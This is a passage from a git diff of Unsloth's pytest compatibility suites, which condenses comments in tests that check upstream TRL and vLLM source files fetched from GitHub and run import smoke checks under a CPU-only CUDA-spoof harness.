+    """GRPOTrainer methods unsloth rewrites against; drift silently skips
+    the rewrite. _get_per_token_logps was renamed to
+    _get_per_token_logps_and_entropies in TRL 0.20+; either is fine."""
     src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
     assert src is not None
-    # _prepare_inputs / _generate_and_score_completions / compute_loss
-    # are stable across the entire support window.
+    # These three are stable across the entire support window.
     for m in ("_prepare_inputs", "_generate_and_score_completions", "compute_loss"):
         assert has_def(src, m, "func"), (
             f"{tag}: GRPOTrainer.{m} missing; "
@@ -468,26 +395,22 @@ def test_trl_grpo_trainer_required_methods(tag: str):
         f"._get_per_token_logps_and_entropies (TRL >=0.20) found; "
         f"unsloth's per-token-logps rewrite no-ops on both dispatch keys"
     )
-    # Optional / version-dependent — never fail, just informational
+    # Optional/version-dependent — informational only.
     for m in ("_generate_single_turn", "_move_model_to_vllm", "_calculate_rewards"):
         _present = has_def(src, m, "func")
         _ = _present
 
 
-# Source-string contracts on trl/trainer/grpo_trainer.py. Each substring
-# is one half of a `function.replace(old, new)` rewrite — if the
-# substring no longer appears in TRL source, the rewrite is a no-op
-# AND the user-facing GRPO behaviour silently diverges.
-#
-# Broken into per-version-window tests because some patterns only apply
-# to a subset of TRL minors.
+# Source-string contracts on grpo_trainer.py. Each substring is one half
+# of a `function.replace(old, new)` rewrite; if it vanishes from TRL
+# source the rewrite no-ops and GRPO behaviour silently diverges. Split
+# per version-window since some patterns apply only to a subset of minors.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_grpo_source_inference_mode_unwrap(tag: str):
-    """rl_replacements.py:526-535 inserts an autocast block immediately
-    AFTER `with torch.inference_mode():` and `self.accelerator.unwrap_model
-    (self.model)`. Both substrings must appear in `_prepare_inputs`."""
+    """`torch.inference_mode` and `self.accelerator.unwrap_model` must both
+    appear, or rl_replacements.py:526-535 autocast insertion no-ops."""
     src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
     assert src is not None
     has_inference_mode = "torch.inference_mode" in src
@@ -499,18 +422,15 @@ def test_trl_grpo_source_inference_mode_unwrap(tag: str):
     )
 
 
-# 17. KTOTrainer.get_batch_logps + the literal raise message rewriter
-#     hits.
+# 17. KTOTrainer.get_batch_logps + the literal raise-message rewriter.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_kto_get_batch_logps_signature(tag: str):
-    """KTO log-prob computation must stay patchable. Through TRL 1.x the
-    target was KTOTrainer.get_batch_logps; TRL 1.x dropped it and moved the
-    math into _compute_logps / compute_ref_log_probs calling
-    selective_log_softmax. unsloth/models/rl_replacements.py patches BOTH
-    shapes (kto_trainer_get_batch_logps + kto_trainer_align_completion_logps),
-    so we require EITHER form to exist wherever KTOTrainer lives."""
+    """KTO log-prob computation must stay patchable. Older TRL exposed
+    KTOTrainer.get_batch_logps; TRL 1.x moved the math into
+    _compute_logps/compute_ref_log_probs via selective_log_softmax.
+    rl_replacements.py patches both shapes, so require EITHER form."""
     candidates = [
         "trl/trainer/kto_trainer.py",
         "trl/experimental/kto/kto_trainer.py",
@@ -528,9 +448,7 @@ def test_trl_kto_get_batch_logps_signature(tag: str):
         # TRL 1.x: refactored into _compute_logps + selective_log_softmax.
         if has_def(src, "_compute_logps", "func") and "selective_log_softmax" in src:
             return
-        # TRL 1.x (current): compute_ref_log_probs / _compute_kl_logps build
-        # per_token_logps via selective_log_softmax(shift_logits, ...); this is
-        # the exact shape kto_trainer_align_completion_logps patches.
+        # TRL 1.x current: the exact shape kto_trainer_align_completion_logps patches.
         if "per_token_logps = selective_log_softmax(shift_logits" in src:
             return
     old_shape_check = (
@@ -538,9 +456,8 @@ def test_trl_kto_get_batch_logps_signature(tag: str):
         'must have the same shape.")'
     )
     if checked_sources and not any(old_shape_check in src for _, src in checked_sources):
-        # TRL main inlined KTO log-prob computation and removed the old
-        # helper/shape-check rewrite target. There is no skipped rewrite to
-        # guard until a new concrete KTO shape mismatch target appears.
+        # TRL main inlined KTO log-probs and removed the old rewrite target;
+        # nothing to guard until a new concrete shape-mismatch target appears.
         return
     pytest.fail(
         f"{tag}: KTO log-prob computation not found in any of {candidates}; "
@@ -548,19 +465,15 @@ def test_trl_kto_get_batch_logps_signature(tag: str):
     )
 
 
-# 18. SFTTrainer.__init__ literal `dict_args.pop("push_to_hub_token")`
-#     OR our shim must short-circuit. transformers 5.0 removed this
-#     kwarg; if TRL stops emitting the bare pop, our patch becomes
-#     a no-op AND TRL itself crashes on transformers 5.0.
+# 18. SFTTrainer + the `dict_args.pop("push_to_hub_token")` shim. transformers
+#     5.0 removed the kwarg; if TRL stops emitting the bare pop, our patch
+#     no-ops AND TRL itself crashes on transformers 5.0.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_sft_trainer_class(tag: str):
-    """Sanity: SFTTrainer.__init__ exists. The
-    `dict_args.pop("push_to_hub_token")` literal substring is checked
-    only when present — its absence means TRL already adapted (e.g.
-    via `dict_args.pop("push_to_hub_token", None)` with a default),
-    which is also fine."""
+    """SFTTrainer must exist. The push_to_hub_token pop literal is checked
+    only when present; its absence means TRL already adapted (fine)."""
     src = fetch_text("huggingface/trl", tag, "trl/trainer/sft_trainer.py")
     assert src is not None
     assert has_def(src, "SFTTrainer", "class"), f"{tag}: class SFTTrainer missing"
@@ -571,18 +484,10 @@ def test_trl_sft_trainer_class(tag: str):
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_dpo_trainer_methods(tag: str):
-    """DPOTrainer method-name surface unsloth's rewriters key on
-    (rl_replacements.py:222-394). All four are version-windowed:
-      - concatenated_inputs / concatenated_forward existed on
-        DPOTrainer through TRL 0.29.x; TRL 1.0+ refactored these into
-        free functions (concatenation moved out of the class).
-      - _compute_loss_liger added ~TRL 0.20.
-      - _set_signature_columns_if_needed: usually inherited from
-        transformers.Trainer, may or may not be re-defined locally.
-    None are STRICTLY required — when missing the matching unsloth
-    rewriter cleanly no-ops (TRL itself does the work). We surface
-    presence/absence as informational so a regression that
-    SILENTLY drops one is at least visible in the test log."""
+    """DPOTrainer methods unsloth's rewriters key on (rl_replacements.py
+    :222-394). All version-windowed and non-required (the rewriter
+    cleanly no-ops when absent); presence/absence is logged as
+    informational so a silent regression stays visible."""
     src = fetch_text("huggingface/trl", tag, "trl/trainer/dpo_trainer.py")
     assert src is not None
     # The DPO class itself must always exist.
@@ -599,27 +504,17 @@ def test_trl_dpo_trainer_methods(tag: str):
         _ = _present  # informational; rewriter no-ops cleanly when absent
 
 
-# 22-23. trl.trainer.grpo_trainer must IMPORT or DEFINE the helpers
-#        unsloth's source rewriters reference: profiling_context,
-#        maybe_apply_chat_template, truncate_with_protected_tokens.
-#        Either the symbol is locally defined OR imported from elsewhere
-#        in trl.* — the rewriter only needs the NAME to be in scope at
-#        the call site.
+# 22-23. grpo_trainer must have in scope the helpers unsloth's rewriters
+#        reference (profiling_context, maybe_apply_chat_template,
+#        truncate_with_protected_tokens), defined or imported from trl.*.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_grpo_internal_helpers_in_scope(tag: str):
-    """Chat-template propagation is what unsloth's
-    grpo_trainer_fix_maybe_apply_chat_template wires up so user-supplied
-    `reasoning_effort` etc. survives the GRPO compile cell. The exact
-    helper name moved across releases:
-      - TRL <=0.24: `maybe_apply_chat_template(example, processing_class)`
-        appeared as a literal in grpo_trainer.py — unsloth's regex
-        rewriter substitutes it with a kwargs-aware version.
-      - TRL >=0.25: TRL itself uses `apply_chat_template` and pipes
-        `**self.chat_template_kwargs`, so the unsloth rewriter is a
-        cleanly-no-op'd dead path on those versions (correct behaviour).
-    Either pattern means the chat-template path is wired SOMEWHERE."""
+    """Chat-template kwargs must propagate via legacy
+    `maybe_apply_chat_template` (TRL <=0.24, rewritten by unsloth) or
+    successor `apply_chat_template(... **chat_template_kwargs)` (TRL
+    >=0.25, native). Either pattern wires the path."""
     src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
     assert src is not None
     legacy = "maybe_apply_chat_template" in src
@@ -635,14 +530,10 @@ def test_trl_grpo_internal_helpers_in_scope(tag: str):
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_truncate_with_protected_tokens_optional(tag: str):
-    """Some TRL versions (0.22.2-0.23.1 specifically) ship
-    `truncate_with_protected_tokens`. Newer versions removed it.
-    rl_replacements.py:712 has a regex that handles both presence
-    and absence — but if the symbol is renamed without removal,
-    we need to know."""
+    """Informational: track truncate_with_protected_tokens (shipped TRL
+    0.22.2-0.23.1, later removed) so a silent rename doesn't slip past
+    the rl_replacements.py:712 regex that handles both presence/absence."""
     src = fetch_text("huggingface/trl", tag, "trl/trainer/grpo_trainer.py")
     assert src is not None
-    # No assertion — informational only. We just want to NOT silently
-    # drift.
     has_it = "truncate_with_protected_tokens" in src
     _ = has_it  # informational; pass either way.
diff --git a/tests/version_compat/test_unsloth_zoo_save_merged_pinned_symbols.py b/tests/version_compat/test_unsloth_zoo_save_merged_pinned_symbols.py
index 53f48382ca..ec66d88b0c 100644
--- a/tests/version_compat/test_unsloth_zoo_save_merged_pinned_symbols.py
+++ b/tests/version_compat/test_unsloth_zoo_save_merged_pinned_symbols.py
@@ -58,8 +58,7 @@ def test_zoo_saving_utils_has_moe_merge_state():
         "_record_moe_merge_fallback",
     ):
         assert sym in src, f"{sym} missing from saving_utils.py (issue #5410 guard)."
-    # zoo#647 wraps the fallback guard's message onto a second line;
-    # allow the regex to span newlines via re.DOTALL.
+    # zoo#647 wraps the guard message across lines; match via re.DOTALL.
     assert re.search(
         r"raise\s+RuntimeError\b.*?MoE", src, re.IGNORECASE | re.DOTALL
     ), "no `raise RuntimeError(...MoE...)`; post-loop guard weakened."
@@ -84,13 +83,9 @@ def test_zoo_saving_utils_has_num_experts_resolver():
 def test_zoo_saving_utils_writes_generation_config():
     src = _fetch_saving_utils()
     _skip_until_pr_647_lands(src)
-    # zoo#647 binds the generation_config attr to a local var
-    # (`gen_cfg = getattr(model, "generation_config", ...); ...
-    # gen_cfg.save_pretrained(save_directory)`) so an exact
-    # `generation_config.save_pretrained(` substring no longer
-    # matches. Anchor on the conceptual operation: a `generation_config`
-    # mention plus a `.save_pretrained(` call nearby, which is what
-    # the canary actually cares about.
+    # zoo#647 aliases generation_config to a local var, so match a
+    # `generation_config` mention plus a nearby `.save_pretrained(` call
+    # rather than the exact `generation_config.save_pretrained(` substring.
     assert re.search(
         r"generation_config[\s\S]{0,400}?\.save_pretrained\s*\(", src
     ), "generation_config.json no longer saved (#5410)."
diff --git a/tests/vllm_compat/test_extended_module_imports.py b/tests/vllm_compat/test_extended_module_imports.py
index d6d3263827..bf974c9d3f 100644
--- a/tests/vllm_compat/test_extended_module_imports.py
+++ b/tests/vllm_compat/test_extended_module_imports.py
@@ -1,23 +1,12 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
 """Extended import-smoke + API surface checks for unsloth + unsloth-zoo
-modules under the existing CUDA spoof harness.
+modules under the CUDA spoof harness.
 
-Where `tests/vllm_compat/test_unsloth_zoo_imports.py` covers the
-narrow "must import on a vllm-less runner" claim for 5 modules,
-this file walks the FULL set of modules our public surface depends
-on. Catches:
-
-  - module-level imports that break on a fresh transformers / peft /
-    bnb release (the symbol pinned at import time is gone)
-  - feature flags / gates that flip under the spoof (e.g. _IS_MLX
-    silently activating on a non-Mac CI box)
-  - public API surface drift: sorted `dir()` of each FastModel class
-    is dumped and asserted-stable across runs (a removed kwarg here
-    is a notebook regression we want to catch)
-
-CPU-only. Inherits the same _zoo_aggressive_cuda_spoof harness as
-test_unsloth_zoo_imports.py.
+Walks the full set of modules the public surface depends on (vs the 5 in
+test_unsloth_zoo_imports.py), catching import-time symbol drift, spoof-
+flipped gates (e.g. _IS_MLX on a non-Mac box), and FastModel API drift.
+CPU-only; inherits the _zoo_aggressive_cuda_spoof harness.
 """
 
 from __future__ import annotations
@@ -42,16 +31,13 @@ import _zoo_aggressive_cuda_spoof as _spoof  # noqa: E402
 _spoof.apply()
 
 
-# Stub modules the unsloth import path may probe but that aren't
-# installed on a CPU-only runner. Mirrors test_unsloth_zoo_imports.py.
+# Stub optional deps absent on a CPU-only runner (mirrors test_unsloth_zoo_imports.py).
 def _stub_module(name: str, attrs: dict | None = None) -> None:
-    """Stub a missing optional dep. Sets __spec__ so importlib.util's
-    `find_spec(name)` doesn't raise `ValueError: __spec__ is None`,
-    which torch / transformers / torchcodec callers hit otherwise."""
+    """Stub a missing optional dep, with __spec__ set so find_spec() doesn't
+    raise `ValueError: __spec__ is None` for torch/transformers/torchcodec callers."""
     if name in sys.modules:
         return
     m = types.ModuleType(name)
-    # Minimal viable spec so importlib treats the stub as a real module.
     m.__spec__ = importlib.machinery.ModuleSpec(name = name, loader = None, origin = "<test stub>")
     for k, v in (attrs or {}).items():
         setattr(m, k, v)
@@ -97,8 +83,7 @@ def _has_unsloth() -> bool:
     return importlib.util.find_spec("unsloth") is not None
 
 
-# Extended unsloth-zoo module list. Modules with no top-level vllm/CUDA
-# import are expected to load cleanly on a CPU spoof runner.
+# unsloth-zoo modules with no top-level vllm/CUDA import: must load cleanly under spoof.
 
 
 _ZOO_VLLM_FREE_MODULES = [
@@ -128,9 +113,8 @@ _ZOO_VLLM_FREE_MODULES = [
 @pytest.mark.skipif(not _has_unsloth_zoo(), reason = "unsloth_zoo not installed")
 @pytest.mark.parametrize("modname", _ZOO_VLLM_FREE_MODULES)
 def test_unsloth_zoo_module_imports_under_spoof(modname: str):
-    """Each unsloth_zoo module must import cleanly on a CPU-only spoof runner.
-    Catches transformers/peft/bnb symbol drift that fails at import time."""
-    # Force fresh resolution: drop stale partial-import state from a prior failure
+    """Each unsloth_zoo module imports cleanly under spoof (catches import-time symbol drift)."""
+    # Drop stale partial-import state from a prior failure.
     sys.modules.pop(modname, None)
     try:
         importlib.import_module(modname)
@@ -140,14 +124,12 @@ def test_unsloth_zoo_module_imports_under_spoof(modname: str):
         )
 
 
-# Spoof correctness: _IS_MLX must remain False on a non-Mac runner
-# and _IS_CUDA / DEVICE_TYPE must reflect the spoofed CUDA layer.
+# Spoof correctness: _IS_MLX stays False on a non-Mac runner.
 
 
 @pytest.mark.skipif(not _has_unsloth(), reason = "unsloth not installed")
 def test_unsloth_is_mlx_false_under_spoof():
-    """The CUDA spoof should not flip the MLX flag on a Linux/Windows CI
-    box (real Apple Silicon is the ONLY environment _IS_MLX activates)."""
+    """CUDA spoof must not flip _IS_MLX on non-Apple-Silicon hosts."""
     sys.modules.pop("unsloth", None)
     import unsloth
 
@@ -157,8 +139,7 @@ def test_unsloth_is_mlx_false_under_spoof():
     )
 
 
-# unsloth.models.* — core RL + sentence-transformer surfaces, loaded
-# transitively by `from unsloth import FastLanguageModel`.
+# unsloth.models.* — core surfaces loaded transitively by `from unsloth import FastLanguageModel`.
 
 
 _UNSLOTH_CORE_MODULES = [
@@ -175,11 +156,8 @@ _UNSLOTH_CORE_MODULES = [
 @pytest.mark.skipif(not _has_unsloth(), reason = "unsloth not installed")
 @pytest.mark.parametrize("modname", _UNSLOTH_CORE_MODULES)
 def test_unsloth_core_module_imports_under_spoof(modname: str):
-    """Core unsloth modules must import on a CPU-only runner under the CUDA
-    spoof; module-top symbol drift crashes here before any user-visible call.
-
-    Bootstraps via `import unsloth` first, since most sub-modules need the
-    package's _gpu_init side effects (else an import-guard fires)."""
+    """Core unsloth modules must import under spoof (module-top symbol drift
+    crashes here). Bootstraps `import unsloth` first for its _gpu_init side effects."""
     try:
         import unsloth  # noqa: F401  -- triggers _gpu_init side effects
     except Exception as e:
@@ -188,9 +166,8 @@ def test_unsloth_core_module_imports_under_spoof(modname: str):
     try:
         importlib.import_module(modname)
     except OSError as e:
-        # `OSError: could not get source code` happens when an editable
-        # install + frozen sub-import combine; that's an environment
-        # quirk, not a symbol-drift bug. Skip rather than false-fail.
+        # "could not get source code": editable-install + frozen sub-import
+        # quirk, not symbol drift. Skip rather than false-fail.
         pytest.skip(f"{modname} env issue: {e!s}")
     except Exception as e:
         pytest.fail(
@@ -198,8 +175,8 @@ def test_unsloth_core_module_imports_under_spoof(modname: str):
         )
 
 
-# Public API surface for FastLanguageModel / FastVisionModel / FastModel under
-# spoof: surface must be non-empty and the notebook-relied methods present.
+# FastLanguageModel/FastVisionModel/FastModel surface must be non-empty
+# with the notebook-relied methods present.
 
 
 @pytest.mark.skipif(not _has_unsloth(), reason = "unsloth not installed")
@@ -214,7 +191,7 @@ def test_fast_model_class_surface_under_spoof():
             continue
         found_at_least_one = True
         public = sorted(n for n in dir(cls) if not n.startswith("_"))
-        # Notebooks rely on these methods; loss of any one is a regression
+        # Notebooks rely on these methods.
         for method in ("from_pretrained", "get_peft_model"):
             assert method in public, (
                 f"unsloth.{cls_name}.{method} missing under spoof; "
@@ -226,9 +203,8 @@ def test_fast_model_class_surface_under_spoof():
     )
 
 
-# RL surface drill-down: GRPO/SFT/DPO classes must be reachable and the
-# source-rewriter dispatch table populated. Catches rl_replacements importing
-# cleanly while RL_FUNCTIONS / RL_REPLACEMENTS is silently empty.
+# RL surface: GRPO/SFT/DPO dispatch table must be populated, not silently
+# empty while rl_replacements imports cleanly.
 
 
 @pytest.mark.skipif(not _has_unsloth(), reason = "unsloth not installed")
@@ -246,7 +222,7 @@ def test_unsloth_rl_replacements_dispatch_populated():
     if funcs is None:
         pytest.skip("RL_FUNCTIONS attribute not present (architecture changed; check)")
     assert isinstance(funcs, dict), f"RL_FUNCTIONS expected dict, got {type(funcs).__name__}"
-    # The trainer types unsloth-zoo dispatches against MUST be keys.
+    # Trainer types unsloth-zoo dispatches against must be keys.
     for key in ("grpo_trainer", "sft_trainer", "dpo_trainer"):
         assert key in funcs, (
             f"RL_FUNCTIONS missing dispatch key '{key}'; "
@@ -257,8 +233,7 @@ def test_unsloth_rl_replacements_dispatch_populated():
         ), f"RL_FUNCTIONS[{key!r}] is empty list; rewrites no-op"
 
 
-# unsloth-zoo compiler test_apply_fused_lm_head — the fused-LM-head emit path
-# (named test in compiler.py:1983); we just confirm it's callable.
+# unsloth-zoo compiler test_apply_fused_lm_head (compiler.py:1983) must be callable.
 
 
 @pytest.mark.skipif(not _has_unsloth_zoo(), reason = "unsloth_zoo not installed")
@@ -272,8 +247,7 @@ def test_zoo_compiler_apply_fused_lm_head_callable():
     )
 
 
-# Spot-check signature stability of FastModel.from_pretrained — every notebook
-# call site relies on these kwargs; a removal becomes silent positional drift.
+# FastModel.from_pretrained kwarg stability: removal becomes silent positional drift.
 
 
 @pytest.mark.skipif(not _has_unsloth(), reason = "unsloth not installed")
@@ -291,7 +265,7 @@ def test_fast_model_from_pretrained_kwargs_under_spoof():
         params = list(inspect.signature(fn).parameters)
     except (TypeError, ValueError):
         pytest.skip("from_pretrained signature not introspectable")
-    # Notebooks use these by name everywhere.
+    # Notebooks use these kwargs by name everywhere.
     for kwarg in ("model_name", "max_seq_length", "load_in_4bit"):
         assert kwarg in params, (
             f"FastLanguageModel.from_pretrained missing kwarg `{kwarg}`; "
diff --git a/tests/vllm_compat/test_unsloth_zoo_imports.py b/tests/vllm_compat/test_unsloth_zoo_imports.py
index 3f1f5a287d..92e40e4b9f 100644
--- a/tests/vllm_compat/test_unsloth_zoo_imports.py
+++ b/tests/vllm_compat/test_unsloth_zoo_imports.py
@@ -1,15 +1,11 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
-"""
-CPU-only smoke imports for the unsloth_zoo modules touching vLLM and
-GRPO + fast_inference=True, under the tests/_zoo_aggressive_cuda_spoof
-harness.
+"""CPU-only smoke imports for unsloth_zoo modules touching vLLM / GRPO +
+fast_inference, under the tests/_zoo_aggressive_cuda_spoof harness.
 
-rl_replacements and empty_model are vllm-free by design and MUST import
-on CPU with no vllm installed -- this file proves it. The other three
-(vllm_utils, vllm_lora_request, vllm_lora_worker_manager) hard-import
-vllm and are skipped without it; test_vllm_pinned_symbols.py covers them
-statically against pinned vLLM source.
+rl_replacements and empty_model are vllm-free and MUST import on CPU with no
+vllm; the three vllm-hard-import modules are skipped without it (covered
+statically by test_vllm_pinned_symbols.py).
 
 Cross-references (unsloth_zoo commits that fixed bugs surfaced here):
   e3072a23 (WorkerLoRAManager.supports_tower_connector_lora missing),
@@ -31,9 +27,7 @@ from pathlib import Path
 import pytest
 
 
-# Apply the consolidated CPU spoof at import time, like
-# .github/workflows/consolidated-tests-ci.yml shims unsloth before any
-# unsloth-touching import.
+# Apply the consolidated CPU spoof at import time, before any unsloth import.
 _SPOOF_DIR = Path(__file__).resolve().parents[1]
 sys.path.insert(0, str(_SPOOF_DIR))
 import _zoo_aggressive_cuda_spoof as _spoof  # noqa: E402
@@ -41,8 +35,7 @@ import _zoo_aggressive_cuda_spoof as _spoof  # noqa: E402
 _spoof.apply()
 
 
-# Some unsloth_zoo modules read pynvml at import for memory probes; it may
-# not be installed on the runner, so stub it.
+# Some unsloth_zoo modules read pynvml at import; stub it for the runner.
 def _stub_module(name: str, attrs: dict | None = None) -> None:
     if name in sys.modules:
         return
@@ -72,8 +65,7 @@ _stub_module(
 
 @pytest.fixture(autouse = True)
 def _torch_distributed_safe(monkeypatch):
-    """unsloth_zoo + vllm path occasionally probes torch.distributed.
-    Make is_available()/is_initialized()/get_world_size() safe defaults."""
+    """Give torch.distributed probes safe single-process defaults."""
     try:
         import torch.distributed as dist
 
@@ -93,15 +85,12 @@ def _has_vllm() -> bool:
     return importlib.util.find_spec("vllm") is not None
 
 
-# rl_replacements: zero direct vllm imports; must import on a vllm-less
-# CPU runner. The GRPO + fast_inference user-facing surface.
+# rl_replacements: zero direct vllm imports; the GRPO + fast_inference surface.
 
 
 @pytest.mark.skipif(not _has_unsloth_zoo(), reason = "unsloth_zoo not installed")
 def test_rl_replacements_imports_without_vllm():
-    """unsloth_zoo.rl_replacements must NOT pull in vllm at import time;
-    the GRPOConfig/GRPOTrainer surface relies only on plain-Python keyword
-    flags and never touches vllm on a fast_inference=False run."""
+    """unsloth_zoo.rl_replacements must NOT pull in vllm at import time."""
     sys.modules.pop("unsloth_zoo.rl_replacements", None)
     rl = importlib.import_module("unsloth_zoo.rl_replacements")
     # A transitive vllm import crashes GRPOTrainer construction on Colab.
@@ -118,8 +107,7 @@ def test_rl_replacements_imports_without_vllm():
     ), "expected at least one GRPO-related export in rl_replacements"
 
 
-# empty_model: no vllm import either; pure builder for the
-# fast_inference=True path, filled from a vLLM internals dict by patch_vllm.
+# empty_model: no vllm import; pure builder for the fast_inference=True path.
 
 
 @pytest.mark.skipif(not _has_unsloth_zoo(), reason = "unsloth_zoo not installed")
@@ -129,7 +117,6 @@ def test_empty_model_imports_without_vllm():
     assert (
         "vllm" not in sys.modules
     ), "unsloth_zoo.empty_model imported vllm transitively; expected to be vllm-free"
-    # Public function the GRPO + fast_inference path relies on
     assert (
         hasattr(em, "create_empty_causal_lm")
         or hasattr(em, "create_empty_model")
@@ -137,9 +124,8 @@ def test_empty_model_imports_without_vllm():
     ), "expected a create_empty_* helper in empty_model"
 
 
-# vllm_lora_request / vllm_lora_worker_manager / vllm_utils: hard-import
-# vllm; skip if it isn't on the runner. The pinned-symbols test covers
-# version compatibility statically.
+# vllm_lora_request / vllm_lora_worker_manager / vllm_utils: hard-import vllm,
+# so skip without it (pinned-symbols test covers version compat statically).
 
 
 @pytest.mark.skipif(
diff --git a/tests/vllm_compat/test_vllm_pinned_symbols.py b/tests/vllm_compat/test_vllm_pinned_symbols.py
index 41b9790680..a646733cbb 100644
--- a/tests/vllm_compat/test_vllm_pinned_symbols.py
+++ b/tests/vllm_compat/test_vllm_pinned_symbols.py
@@ -1,43 +1,11 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
-"""
-Pinned-symbol compat check across all vLLM PyPI minor versions
->= 0.9.0. Catches API drift like:
+"""Pinned-symbol compat check across vLLM PyPI minors >= 0.9.0 (GitHub raw-fetch, no pip/GPU).
 
-  - vLLM PR #30253 split vllm.lora.models -> {vllm.lora.lora_model,
-    vllm.lora.model_manager}  (unsloth-zoo commit ec186187)
-  - vLLM 0.14 gpu_model_runner adds supports_tower_connector_lora()
-    and calls it unconditionally on every LoRA VLM
-    (unsloth-zoo commit e3072a23)
-  - vLLM 0.15 LoRA manager rename of create_lora_manager kwargs
-    (unsloth-zoo commit 2a80d543)
-  - vLLM removal of LoRARequest.embedding_padding_modules / lora_path
-    -> lora_dir (unsloth-zoo commits 888f79fd, e915bca1)
-  - vLLM v0 graph capture path removed in 0.11 (commit 65939946)
-
-Strategy: for each tracked vLLM tag, fetch the relevant source files
-straight from github.com/vllm-project/vllm (no pip install, no GPU
-required) and assert that every symbol unsloth-zoo's vllm_utils +
-vllm_lora_worker_manager + vllm_lora_request expects is present.
-
-Symbol windows (from the unsloth-zoo upstream survey, 2026-05-07):
-
-  HARD imports (must be present in all versions tested):
-    vllm.lora.peft_helper.PEFTHelper
-    vllm.lora.request.LoRARequest
-    vllm.lora.utils.get_adapter_absolute_path
-    vllm.config.LoRAConfig (+ VllmConfig from 0.11+)
-
-  SOFT imports (try/except wrappers in unsloth-zoo; either branch OK):
-    vllm.lora.models.{LoRAModel, create_lora_manager}     -- pre #30253
-    vllm.lora.lora_model.LoRAModel                        -- post #30253
-    vllm.lora.model_manager.create_lora_manager           -- post #30253
-
-  Behavioural (must exist when the corresponding feature is in scope):
-    vllm.device_allocator.cumem.{CuMemAllocator, libcudart, ...}
-        -- only required if UNSLOTH_VLLM_STANDBY=1; on 0.10.x and
-           0.14.x the feature is hard-errored anyway, so the absence
-           of those modules in those versions is fine.
+Catches API drift like vLLM PR #30253 (vllm.lora.models split), 0.14
+supports_tower_connector_lora(), 0.15 create_lora_manager rename, the
+lora_path -> lora_dir rename, and the 0.11 v0 graph-capture removal.
+Asserts every symbol unsloth-zoo's vllm_utils + vllm_lora_* expects is present.
 """
 
 from __future__ import annotations
@@ -51,10 +19,7 @@ import urllib.request
 import pytest
 
 
-# Tags that map to the released vLLM minor versions we care about.
-# Each tracked tag is the last patch release of that minor (or the
-# minor's first stable release if no later patch exists yet). Add new
-# rows when vLLM ships a new minor.
+# Last patch release of each tracked vLLM minor (or first stable if none yet).
 VLLM_TAGS = [
     "v0.9.0",
     "v0.9.2",
@@ -70,16 +35,13 @@ VLLM_TAGS = [
     "v0.18.1",
     "v0.19.1",
     "v0.20.1",
-    # `main` catches symbol drift that hasn't shipped to PyPI yet,
-    # giving us a few-day lead on a release that would break us.
+    # `main` catches drift before it ships to PyPI.
     "main",
 ]
 
 
 def _fetch_text(repo: str, ref: str, path: str) -> str | None:
-    """Fetch a file's text from GitHub. Returns None on 404 (the file
-    is renamed/removed in this version, which is informational, not a
-    hard failure)."""
+    """Fetch a file's text from GitHub; None on 404 (renamed/removed, informational)."""
     url = f"https://raw.githubusercontent.com/{repo}/{ref}/{path}"
     req = urllib.request.Request(url)
     token = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
@@ -101,9 +63,7 @@ def _has_def(
     name: str,
     kind: str = "any",
 ) -> bool:
-    """Heuristic AST-equivalent grep for `class Name`, `def name`,
-    or `Name = ...` at module scope. We avoid a full ast.parse so a
-    single non-importable line (e.g. type: ignore) doesn't false-fail."""
+    """Grep for `class Name`/`def name`/`Name = ...`; avoids ast.parse so one bad line doesn't false-fail."""
     if kind in ("any", "class") and re.search(rf"^class\s+{re.escape(name)}\b", src, re.MULTILINE):
         return True
     if kind in ("any", "func") and re.search(
@@ -115,16 +75,12 @@ def _has_def(
     return False
 
 
-# -------------------------------------------------------------------------
 # HARD-import symbols: must be present in every tested version.
-# -------------------------------------------------------------------------
 
 
 @pytest.mark.parametrize("tag", VLLM_TAGS)
 def test_vllm_lora_request_hard_imports(tag: str):
-    """vllm.lora.request.LoRARequest, vllm.lora.utils.get_adapter_absolute_path,
-    vllm.lora.peft_helper.PEFTHelper. Hard-imported by unsloth-zoo's
-    vllm_lora_worker_manager."""
+    """LoRARequest, get_adapter_absolute_path, PEFTHelper -- hard-imported by unsloth-zoo's vllm_lora_worker_manager."""
     src = _fetch_text("vllm-project/vllm", tag, "vllm/lora/request.py")
     assert src is not None, f"vllm/lora/request.py missing in {tag}"
     assert _has_def(
@@ -146,8 +102,7 @@ def test_vllm_lora_request_hard_imports(tag: str):
 
 @pytest.mark.parametrize("tag", VLLM_TAGS)
 def test_vllm_config_lora_config(tag: str):
-    """vllm.config.LoRAConfig. Imported at module top of
-    unsloth_zoo.vllm_lora_worker_manager (HARD)."""
+    """vllm.config.LoRAConfig -- hard-imported at module top of unsloth_zoo.vllm_lora_worker_manager."""
     candidates = [
         "vllm/config/__init__.py",
         "vllm/config.py",
@@ -164,25 +119,19 @@ def test_vllm_config_lora_config(tag: str):
     assert found, f"vllm.config.LoRAConfig missing in {tag} (checked {candidates})"
 
 
-# -------------------------------------------------------------------------
 # SOFT-import symbols: either old path or new post-#30253 path is fine.
-# -------------------------------------------------------------------------
 
 
 @pytest.mark.parametrize("tag", VLLM_TAGS)
 def test_vllm_lora_models_either_path(tag: str):
-    """unsloth-zoo's vllm_lora_worker_manager imports
-    {LoRAModel, LoRAModelManager, LRUCacheLoRAModelManager,
-    create_lora_manager} from EITHER vllm.lora.models OR
-    {vllm.lora.lora_model + vllm.lora.model_manager}. Verify at least
-    one path resolves every symbol, in every version."""
+    """The LoRA model/manager symbols must resolve via EITHER vllm.lora.models OR the post-#30253 split path."""
     needed = {
         "LoRAModel": ("class", None),
         "LoRAModelManager": ("class", None),
         "LRUCacheLoRAModelManager": ("class", None),
